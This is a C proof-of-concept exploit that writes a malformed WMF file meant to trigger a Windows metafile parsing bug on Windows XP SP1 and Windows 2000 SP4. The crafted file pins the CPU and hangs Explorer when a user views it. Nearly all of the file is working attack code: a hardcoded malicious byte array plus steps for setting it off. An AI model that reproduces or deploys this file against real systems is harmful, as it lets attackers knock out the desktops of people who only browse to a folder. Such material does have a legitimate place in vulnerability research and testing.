/*
* Created by: RiP
* This is a proof of concept for the WMF parsing bug (this has not yet been patched by Microsoft)
* Credits go to liquid (liquid@cyberspace.org)
* Tested on: Windows XP SP1 and Windows 2000 SP4
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char hexcode[]=

"\xD7\xCD\xC6\x9A\x00\x00\x00\x00\x00\x00\xA1\x21\xEC\x29\xEC\x09"
"\x00\x00\x00\x00\xB0\x56\x01\x00\x09\x00\x00\x03\x0E\x00\x00\x00"
"\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x02\x00\x00"
"\x00\x00";

int main(int argc,char *argv[]) {
 FILE *wmffile;

 if (argc < 2) {
  printf("Syntax: %s <filename.wmf>\n", argv[0]);
  exit(1);
 }

 if (!(wmffile = fopen(argv[1],"wb"))) {
  printf("Error opening %s\n", argv[1]);
 } else {
  fwrite(hexcode,1,sizeof(hexcode),wmffile);
  fclose(wmffile);
  printf("Specially crafted .wmf file\n");
  printf("Double click or move the mouse over the file in windows explorer\n");
  printf("Then press CTRL+SHIFT+ESC (notice the 100%) and terminate Explorer.EXE\n");
 }

 return 0;
}

/* EOF */